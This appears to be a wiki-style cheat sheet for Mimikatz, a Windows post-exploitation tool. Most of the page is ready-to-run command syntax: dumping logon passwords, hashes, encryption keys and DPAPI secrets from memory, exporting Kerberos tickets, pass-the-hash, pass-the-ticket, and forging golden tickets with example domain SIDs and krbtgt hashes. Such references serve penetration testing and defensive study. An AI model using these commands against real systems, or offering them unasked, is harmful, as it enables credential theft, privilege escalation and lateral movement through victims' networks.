Edit

Mimikatz

About

Mimikatz is an incredibly effective offensive security tool developed by gentilkiwi. It is a post-exploitation tool that dumps passwords from memory, as well as hashes, PINs and Kerberos tickets. Other useful attacks are pass-the-hash, pass-the-ticket or building Golden Kerberos tickets. This makes post-exploitation lateral movement within a network easy for attackers. Mimikatz is a very powerful tool when attacking,or defending Windows Systems, it can also play with certificates or private keys, vault and more.

Mimikatz can only dump credentials and password hashes if it is executed from the context of a privilege user, like local admin.

Links

​Mimikatz github(source)​

​Mimikatz binaries

Usage

  • Get debug rights (this or Local System rights is required for many Mimikatz commands).

privilege::debug

sekurlsa

  • Lists all available provider credentials. This usually shows recently logged on user and computer credentials.

sekurlsa::logonpasswords
sekurlsa::logonpasswords full

  • Dump and export Kerberos tickets from memory

sekurlsa::tickets /export

  • Pass the hash - PTH

sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NTLMHASH /run:cmd

kerberos

  • Dump and export Kerberos tickets from memory associated with active user sessions

kerberos::list /export

  • Pass the ticket - PTT

kerberos::ptt c:\chocolate.kirbi

  • Create a Golden Ticket

kerberos::golden /admin:USER /domain:DOMAIN /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

ekeys

  • Dump encryption keys from the system's memory

sekurlsa::ekeys

DPAPI

  • Extract and decrypt credentials protected by DPAPI (Data Protection API) from memory

sekurlsa::dpapi

Golden/Silver Tickets

kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi
kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbi
kerberos::golden /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /aes256:15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42 /user:Administrateur /id:500 /groups:513,512,520,518,519 /ptt /startoffset:-10 /endin:600 /renewmax:10080
kerberos::golden /admin:Administrator /domain:CTU.DOMAIN /sid:S-1-1-12-123456789-1234567890-123456789 /krbtgt:deadbeefboobbabe003133700009999 /ticket:Administrator.kiribi

TGT

  • Interact with and manipulate Kerberos tickets

kerberos
kerberos::tgt
kerberos::list /export

Last updated